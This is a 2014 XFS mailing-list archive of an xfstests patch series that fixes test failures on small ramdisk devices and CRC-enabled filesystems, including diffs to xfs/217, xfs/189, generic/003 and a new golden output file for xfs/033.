Mon, 24 Feb 2014 14:06:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 5/6] xfs/217: prevent enospc failures on small test devices Date: Mon, 24 Feb 2014 14:06:14 +1100 X-ASG-Orig-Subj: [PATCH 5/6] xfs/217: prevent enospc failures on small test devices Message-Id: <1393211175-30016-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393211175-30016-1-git-send-email-david@fromorbit.com> References: <1393211175-30016-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393211188 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145446 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner I'm running xfstests against a ramdisk, so I'm limited in size of the test and scratch devices. While there are large enough to hold a filesystem image with a 2GB log, the way the log changes position in an image file as the size of the filesystem increases means that the aggregated disk space of xfs/217 is more than enough to run a 4GB TEST_DEV out of space and hence fail the test. To avoid this problem, punch out the image file between every mkfs iteration so that it only consumes the space needed by each individual mkfs tests, not an aggregation of them all. Signed-off-by: Dave Chinner --- tests/xfs/217 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/xfs/217 b/tests/xfs/217 index 6c439c0..ab55a30 100755 --- a/tests/xfs/217 +++ b/tests/xfs/217 @@ -63,6 +63,10 @@ _do_mkfs() mount -o loop -t xfs $LOOP_DEV $LOOP_MNT echo "test write" > $LOOP_MNT/test umount -d $LOOP_MNT > /dev/null 2>&1 + + # punch out the previous blocks so that we keep the amount of + # disk space the test requires down to a minimum. + $XFS_IO_PROG -f -c "unresvsp 0 16383g" $LOOP_DEV done } # make large holey file -- 1.8.4.rc3 From dave@fromorbit.com Sun Feb 23 21:06:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8B8CC7F58 for ; Sun, 23 Feb 2014 21:06:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5C7088F8033 for ; Sun, 23 Feb 2014 19:06:30 -0800 (PST) X-ASG-Debug-ID: 1393211187-04bdf00fca31eee0002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id PzMPLHldRMBbLUY7 for ; Sun, 23 Feb 2014 19:06:28 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Am8GAP21ClN5LJYe/2dsb2JhbABZgwbDAhd0gwI7gQIDiDiWObA1jwGEIgSqW4NBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 13:36:21 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHls1-0004Pq-Ef for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHls1-0007oq-Cj for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/6] xfstests: fixes for CRCs and small devices Date: Mon, 24 Feb 2014 14:06:09 +1100 X-ASG-Orig-Subj: [PATCH 0/6] xfstests: fixes for CRCs and small devices Message-Id: <1393211175-30016-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393211188 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145446 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The following set of patches fix two sets of issues. The first is that small, fast filesystems like on a ramdisk trigger some interesting failures due to the rate of modification being so high on such devices. Hence we can do things like run a small filesystem out of space in a few seconds, whereas it woul dtake a few minutes on a SSD or spinning disk. Hence some tests require some small tweaks to avoid failures in such situations. The second set of patches continue the work of fixing test failures on CRC enabled filesystems due to issues with the tests themselves. There are stll more test fixes needed, but I'm now down to single digit failure rates on CRC enabled filesystems with these patches. Cheers, Dave. From dave@fromorbit.com Sun Feb 23 21:06:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B18C27F5A for ; Sun, 23 Feb 2014 21:06:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9128F304043 for ; Sun, 23 Feb 2014 19:06:27 -0800 (PST) X-ASG-Debug-ID: 1393211182-04cbb00c2872e3b0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id k9qKuDin7fHRY5NA for ; Sun, 23 Feb 2014 19:06:22 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGAP21ClN5LJYe/2dsb2JhbABZgwbDAhd0giUBAQVWMwgYMTkDGxmIBMZujwGEIgSUSZYSg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 13:36:21 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHls1-0004Ps-FA for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHls1-0007oy-EC for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/6] xfs/189: noattr2 invalid for CRC enabled filesystems Date: Mon, 24 Feb 2014 14:06:11 +1100 X-ASG-Orig-Subj: [PATCH 2/6] xfs/189: noattr2 invalid for CRC enabled filesystems Message-Id: <1393211175-30016-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393211175-30016-1-git-send-email-david@fromorbit.com> References: <1393211175-30016-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393211182 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145446 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Version 5 filesystems always have attr2 format enabled, and it cannot be turned off via the noattr2 mount option. As such, attempts to mount with noattr2 will be rejected and this causes cascading failures within the test. Hence detect if we've created a CRC enabled filesystem, and if this is the case _notrun the test. Signed-off-by: Dave Chinner --- common/attr | 10 ++++++++++ tests/xfs/189 | 2 ++ 2 files changed, 12 insertions(+) diff --git a/common/attr b/common/attr index 1f3e57f..83bf9d1 100644 --- a/common/attr +++ b/common/attr @@ -196,6 +196,16 @@ _require_attr_v1() || _notrun "attr v1 not supported on $SCRATCH_DEV" } +# check if we support the noattr2 mount option +_require_noattr2() +{ + _scratch_mkfs_xfs > /dev/null 2>&1 \ + || _fail "_scratch_mkfs_xfs failed on $SCRATCH_DEV" + _mount -o noattr2 $SCRATCH_DEV > /dev/null 2>&1 \ + || _notrun "noattr2 mount option not supported on $SCRATCH_DEV" + _scratch_unmount +} + # getfattr -R returns info in readdir order which varies from fs to fs. # This sorts the output by filename _sort_getfattr_output() diff --git a/tests/xfs/189 b/tests/xfs/189 index 27bfb63..a56bbde 100755 --- a/tests/xfs/189 +++ b/tests/xfs/189 @@ -230,6 +230,7 @@ _putback_scratch_fstab() # get standard environment, filters and checks . ./common/rc . ./common/filter +. ./common/attr # real QA test starts here _supported_fs xfs @@ -237,6 +238,7 @@ _supported_os Linux _need_to_be_root _require_scratch +_require_noattr2 unset SCRATCH_RTDEV unset SCRATCH_LOGDEV -- 1.8.4.rc3 From dave@fromorbit.com Sun Feb 23 21:06:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 581227F58 for ; Sun, 23 Feb 2014 21:06:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 11B388F8033 for ; Sun, 23 Feb 2014 19:06:31 -0800 (PST) X-ASG-Debug-ID: 1393211188-04bdf0083a201ba0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Q2jqSWsQFgE4kvjG for ; Sun, 23 Feb 2014 19:06:29 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGAP21ClN5LJYe/2dsb2JhbABZgwbDAhd0giUBAQVWMwgYMTkDGxmIBMZXF414hSsEqluDQSiBNQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 13:36:21 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHls1-0004Pt-Fl for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHls1-0007p3-En for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/6] generic/003: ensure time changes between stat calls Date: Mon, 24 Feb 2014 14:06:12 +1100 X-ASG-Orig-Subj: [PATCH 3/6] generic/003: ensure time changes between stat calls Message-Id: <1393211175-30016-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393211175-30016-1-git-send-email-david@fromorbit.com> References: <1393211175-30016-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393211188 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145446 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words From: Dave Chinner On a fast device like a ramdisk, kernel time may not have changed between a stat of a file and some operation on it immediately afterwards. Hence there is no guarantee that an operation actually changes the timestamps of a file immediately after it is stat'd. Hence, ensure that the times will change by sleeping for a second between the initial stat that reads the timestamps and the operations that is supposed to modify them. This way we ensure that the timestamp will change if the filesystem is correctly implemented. While there, fix the indenting to be 8 space tabs and correct the header which is missing the bash shell declaration and the test number identifier. Signed-off-by: Dave Chinner --- tests/generic/003 | 110 ++++++++++++++++++++++++++++++------------------------ 1 file changed, 61 insertions(+), 49 deletions(-) diff --git a/tests/generic/003 b/tests/generic/003 index 3a11ab3..5c2d383 100755 --- a/tests/generic/003 +++ b/tests/generic/003 @@ -1,3 +1,6 @@ +#! /bin/bash +# FS QA Test No. generic/003 +# # Tests the noatime, relatime, strictatime and nodiratime mount options. # There is an extra check for Btrfs to ensure that the access time is # never updated on read-only subvolumes. (Regression test for bug fixed @@ -49,41 +52,40 @@ _require_relatime rm -f $seqres.full _stat() { - stat --printf="%x;%y;%z" $1 + stat --printf="%x;%y;%z" $1 } _compare_stat_times() { - updated=$1 # 3 chars indicating if access, modify and - # change times should be updated (Y) or not (N) - IFS=';' read -a first_stat <<< "$2" # Convert first stat to array - IFS=';' read -a second_stat <<< "$3" # Convert second stat to array - test_step=$4 # Will be printed to output stream in case of an - # error, to make debugging easier - types=( access modify change ) - - for i in 0 1 2; do - if [ "${first_stat[$i]}" == "${second_stat[$i]}" ]; then - if [ "${updated:$i:1}" == "Y" ]; then - echo -n "ERROR: ${types[$i]} time has not been updated " - echo $test_step - fi - else - if [ "${updated:$i:1}" == "N" ]; then - echo -n "ERROR: ${types[$i]} time has changed " - echo $test_step - fi - fi - done + updated=$1 # 3 chars indicating if access, modify and + # change times should be updated (Y) or not (N) + IFS=';' read -a first_stat <<< "$2" # Convert first stat to array + IFS=';' read -a second_stat <<< "$3" # Convert second stat to array + test_step=$4 # Will be printed to output stream in case of an + # error, to make debugging easier + types=( access modify change ) + + for i in 0 1 2; do + if [ "${first_stat[$i]}" == "${second_stat[$i]}" ]; then + if [ "${updated:$i:1}" == "N" ]; then + continue; + fi + echo -n "ERROR: ${types[$i]} time has not been updated " + echo $test_step + elif [ "${updated:$i:1}" == "N" ]; then + echo -n "ERROR: ${types[$i]} time has changed " + echo $test_step + fi + done } _scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" _scratch_mount "-o relatime" if [ "$FSTYP" = "btrfs" ]; then - TPATH=$SCRATCH_MNT/sub1 - $BTRFS_UTIL_PROG subvolume create $TPATH > $seqres.full + TPATH=$SCRATCH_MNT/sub1 + $BTRFS_UTIL_PROG subvolume create $TPATH > $seqres.full else - TPATH=$SCRATCH_MNT + TPATH=$SCRATCH_MNT fi mkdir $TPATH/dir1 @@ -91,62 +93,69 @@ echo "aaa" > $TPATH/dir1/file1 file1_stat_before_first_access=`_stat $TPATH/dir1/file1` # Accessing file1 the first time +sleep 1 cat $TPATH/dir1/file1 > /dev/null file1_stat_after_first_access=`_stat $TPATH/dir1/file1` _compare_stat_times YNN "$file1_stat_before_first_access" \ - "$file1_stat_after_first_access" "after accessing file1 first time" + "$file1_stat_after_first_access" "after accessing file1 first time" # Accessing file1 a second time +sleep 1 cat $TPATH/dir1/file1 > /dev/null file1_stat_after_second_access=`_stat $TPATH/dir1/file1` _compare_stat_times NNN "$file1_stat_after_first_access" \ - "$file1_stat_after_second_access" "after accessing file1 second time" + "$file1_stat_after_second_access" "after accessing file1 second time" # Remounting with nodiratime option _scratch_unmount _scratch_mount "-o nodiratime" file1_stat_after_remount=`_stat $TPATH/dir1/file1` _compare_stat_times NNN "$file1_stat_after_second_access" \ - "$file1_stat_after_remount" "for file1 after remount" + "$file1_stat_after_remount" "for file1 after remount" # Creating dir2 and file2, checking directory stats mkdir $TPATH/dir2 dir2_stat_before_file_creation=`_stat $TPATH/dir2` +sleep 1 echo "bbb" > $TPATH/dir2/file2 dir2_stat_after_file_creation=`_stat $TPATH/dir2` _compare_stat_times NYY "$dir2_stat_before_file_creation" \ - "$dir2_stat_after_file_creation" "for dir2 after file creation" + "$dir2_stat_after_file_creation" "for dir2 after file creation" # Accessing file2 file2_stat_before_first_access=`_stat $TPATH/dir2/file2` +sleep 1 cat $TPATH/dir2/file2 > /dev/null file2_stat_after_first_access=`_stat $TPATH/dir2/file2` _compare_stat_times YNN "$file2_stat_before_first_access" \ - "$file2_stat_after_first_access" "after accessing file2" + "$file2_stat_after_first_access" "after accessing file2" dir2_stat_after_file_access=`_stat $TPATH/dir2` _compare_stat_times NNN "$dir2_stat_after_file_creation" \ - "$dir2_stat_after_file_access" "for dir2 after file access" + "$dir2_stat_after_file_access" "for dir2 after file access" # Remounting with noatime option, creating a file and accessing it _scratch_unmount _scratch_mount "-o noatime" echo "ccc" > $TPATH/dir2/file3 file3_stat_before_first_access=`_stat $TPATH/dir2/file3` +sleep 1 cat $TPATH/dir2/file3 > /dev/null file3_stat_after_first_access=`_stat $TPATH/dir2/file3` _compare_stat_times NNN "$file3_stat_before_first_access" \ - "$file3_stat_after_first_access" "after accessing file3 first time" + "$file3_stat_after_first_access" "after accessing file3 first time" # Checking that the modify and change times are still updated file1_stat_before_modify=`_stat $TPATH/dir1/file1` +sleep 1 echo "xyz" > $TPATH/dir1/file1 file1_stat_after_modify=`_stat $TPATH/dir1/file1` _compare_stat_times NYY "$file1_stat_before_modify" \ - "$file1_stat_after_modify" "after modifying file1" + "$file1_stat_after_modify" "after modifying file1" +sleep 1 mv $TPATH/dir1/file1 $TPATH/dir1/file1_renamed file1_stat_after_change=`_stat $TPATH/dir1/file1_renamed` _compare_stat_times NNY "$file1_stat_after_modify" \ - "$file1_stat_after_change" "after changing file1" + "$file1_stat_after_change" "after changing file1" # Remounting with strictatime option and # accessing a previously created file twice @@ -155,30 +164,33 @@ _scratch_mount "-o strictatime" cat $TPATH/dir2/file3 > /dev/null file3_stat_after_second_access=`_stat $TPATH/dir2/file3` _compare_stat_times YNN "$file3_stat_after_first_access" \ - "$file3_stat_after_second_access" "after accessing file3 second time" + "$file3_stat_after_second_access" "after accessing file3 second time" +sleep 1 cat $TPATH/dir2/file3 > /dev/null file3_stat_after_third_access=`_stat $TPATH/dir2/file3` _compare_stat_times YNN "$file3_stat_after_second_access" \ - "$file3_stat_after_third_access" "after accessing file3 third time" + "$file3_stat_after_third_access" "after accessing file3 third time" # Btrfs only: Creating readonly snapshot. Access time should never # be updated, even when the strictatime mount option is active if [ "$FSTYP" = "btrfs" ]; then - SPATH=$SCRATCH_MNT/snap1 - btrfs subvol snapshot -r $TPATH $SPATH >> $seqres.full - dir2_stat_readonly_before_access=`_stat $SPATH/dir2` - ls $SPATH/dir2 >> $seqres.full - cat $SPATH/dir2/file3 >> $seqres.full - dir2_stat_readonly_after_access=`_stat $SPATH/dir2` - _compare_stat_times NNN "$dir2_stat_readonly_before_access" \ - "$dir2_stat_readonly_after_access" "for dir in readonly subvol" - file3_stat_readonly_after_access=`_stat $SPATH/dir2/file3` - _compare_stat_times NNN "$file3_stat_after_third_access" \ - "$file3_stat_readonly_after_access" "for file in readonly subvol" + SPATH=$SCRATCH_MNT/snap1 + btrfs subvol snapshot -r $TPATH $SPATH >> $seqres.full + dir2_stat_readonly_before_access=`_stat $SPATH/dir2` + sleep 1 + ls $SPATH/dir2 >> $seqres.full + cat $SPATH/dir2/file3 >> $seqres.full + dir2_stat_readonly_after_access=`_stat $SPATH/dir2` + _compare_stat_times NNN "$dir2_stat_readonly_before_access" \ + "$dir2_stat_readonly_after_access" "for dir in readonly subvol" + file3_stat_readonly_after_access=`_stat $SPATH/dir2/file3` + _compare_stat_times NNN "$file3_stat_after_third_access" \ + "$file3_stat_readonly_after_access" "for file in readonly subvol" fi # Remounting read-only. Access time should never be updated, despite the # strictatime mount option. +sleep 1 dir2_stat_before_ro_mount=`_stat $TPATH/dir2` file3_stat_before_ro_mount=`_stat $TPATH/dir2/file3` _scratch_unmount @@ -187,10 +199,10 @@ ls $TPATH/dir2 > /dev/null cat $TPATH/dir2/file3 > /dev/null dir2_stat_after_ro_mount=`_stat $TPATH/dir2` _compare_stat_times NNN "$dir2_stat_before_ro_mount" \ - "$dir2_stat_after_ro_mount" "for dir in read-only filesystem" + "$dir2_stat_after_ro_mount" "for dir in read-only filesystem" file3_stat_after_ro_mount=`_stat $TPATH/dir2/file3` _compare_stat_times NNN "$file3_stat_before_ro_mount" \ - "$file3_stat_after_ro_mount" "for file in read-only filesystem" + "$file3_stat_after_ro_mount" "for file in read-only filesystem" # success, all done _scratch_unmount -- 1.8.4.rc3 From dave@fromorbit.com Sun Feb 23 21:06:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D42897F5A for ; Sun, 23 Feb 2014 21:06:31 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B826F304043 for ; Sun, 23 Feb 2014 19:06:31 -0800 (PST) X-ASG-Debug-ID: 1393211182-04cbb00c2872e3b0004-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id KYHUe6giZ9wwyYma for ; Sun, 23 Feb 2014 19:06:29 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGAP21ClN5LJYe/2dsb2JhbABZgwbDAhd0giUBAQVWMwgYMTkDGxmIBMZXF5MjBKpbg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 13:36:21 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHls1-0004Pr-Eg for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHls1-0007ot-Db for xfs@oss.sgi.com; Mon, 24 Feb 2014 14:06:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/6] xfs/033: add golden output for CRC enabled filesystems Date: Mon, 24 Feb 2014 14:06:10 +1100 X-ASG-Orig-Subj: [PATCH 1/6] xfs/033: add golden output for CRC enabled filesystems Message-Id: <1393211175-30016-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393211175-30016-1-git-send-email-david@fromorbit.com> References: <1393211175-30016-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393211189 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145446 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner CRC enabled filesystems emit different errors on corruption. Specifically, inode corruption is picked up much earlier due to verifier failures (e.g. incorrect inode identifier) and so xfs_repair throws errors sufficiently different that filtering cannot hide the differences. Hence simply add a new golden output file and link it appropriately once we know what type of filesystem we are testing. Signed-off-by: Dave Chinner --- common/filter | 3 + tests/xfs/033 | 10 ++- tests/xfs/033.crc.out.linux | 197 ++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 207 insertions(+), 3 deletions(-) create mode 100644 tests/xfs/033.crc.out.linux diff --git a/common/filter b/common/filter index 04d12c4..a7d2aa9 100644 --- a/common/filter +++ b/common/filter @@ -152,6 +152,9 @@ _filter_mkfs() if (/^\s+=\s+sectsz=(\d+)\s+attr=(\d+)/) { print STDERR "sectsz=$1\nattr=$2\n"; } + if (/^\s+=\s+crc=(\d)/) { + print STDERR "_fs_has_crcs=$1\n"; + } if (/^data\s+=\s+bsize=(\d+)\s+blocks=(\d+), imaxpct=(\d+)/) { print STDERR "dbsize=$1\ndblocks=$2\nimaxpct=$3\n"; print STDOUT "data = bsize=XXX blocks=XXX, imaxpct=PCT\n"; diff --git a/tests/xfs/033 b/tests/xfs/033 index bf906e0..576d437 100755 --- a/tests/xfs/033 +++ b/tests/xfs/033 @@ -45,9 +45,6 @@ trap "_cleanup; exit \$status" 0 1 2 3 15 . ./common/filter . ./common/repair -# link correct .out file -_link_out_file $seq.out $seqfull.out - # nuke the root, rt bitmap, and rt summary inodes # _check_root_inos() @@ -86,6 +83,13 @@ _scratch_mkfs_xfs | _filter_mkfs 2>$tmp.mkfs [ $isize -lt 512 ] && \ _scratch_mkfs_xfs -isize=512 | _filter_mkfs >/dev/null 2>&1 +# link correct .out file +if [ $_fs_has_crcs -eq 1 ]; then + _link_out_file $seq.crc.out $seqfull.out +else + _link_out_file $seq.out $seqfull.out +fi + `xfs_db -r -c sb -c p $SCRATCH_DEV | grep 'ino = ' | \ sed -e 's/ //g' -e 's/^/export /'` diff --git a/tests/xfs/033.crc.out.linux b/tests/xfs/033.crc.out.linux new file mode 100644 index 0000000..a6e86b9 --- /dev/null +++ b/tests/xfs/033.crc.out.linux @@ -0,0 +1,197 @@ +QA output created by 033 +meta-data=DDEV isize=XXX agcount=N, agsize=XXX blks +data = bsize=XXX blocks=XXX, imaxpct=PCT + = sunit=XXX swidth=XXX, unwritten=X +naming =VERN bsize=XXX +log =LDEV bsize=XXX blocks=XXX +realtime =RDEV extsz=XXX blocks=XXX, rtextents=XXX +Corrupting root inode - setting bits to 0 +Wrote X.XXKb (value 0x0) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0x0 on inode INO +bad version number 0x0 on inode INO +inode identifier 0 mismatch on inode INO +bad magic number 0x0 on inode INO, resetting magic number +bad version number 0x0 on inode INO, resetting version number +inode identifier 0 mismatch on inode INO +cleared root inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... +root inode lost + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing root directory + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +resetting inode INO nlinks from 1 to 2 +done +Corrupting rt bitmap inode - setting bits to 0 +Wrote X.XXKb (value 0x0) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0x0 on inode INO +bad version number 0x0 on inode INO +inode identifier 0 mismatch on inode INO +bad magic number 0x0 on inode INO, resetting magic number +bad version number 0x0 on inode INO, resetting version number +inode identifier 0 mismatch on inode INO +cleared realtime bitmap inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... +Phase 6 - check inode connectivity... +reinitializing realtime bitmap inode + - resetting contents of realtime bitmap and summary inodes + - traversing filesystem ... + - traversal finished ... + - moving disconnected inodes to lost+found ... +Phase 7 - verify and correct link counts... +done +Corrupting rt summary inode - setting bits to 0 +Wrote X.XXKb (value 0x0) +Phase 1 - find and verify superblock... +Phase 2 - using log + - zero log... + - scan filesystem freespace and inode maps... + - found root inode chunk +Phase 3 - for each AG... + - scan and clear agi unlinked lists... + - process known inodes and perform inode discovery... +bad magic number 0x0 on inode INO +bad version number 0x0 on inode INO +inode identifier 0 mismatch on inode INO +bad magic number 0x0 on inode INO, resetting magic number +bad version number 0x0 on inode INO, resetting version number +inode identifier 0 mismatch on inode INO +cleared realtime summary inode INO + - process newly discovered inodes... +Phase 4 - check for duplicate blocks... + - setting up duplicate extent list... + - check for inodes claiming duplicate blocks... +Phase 5 - rebuild AG headers and trees... + - reset superblock... 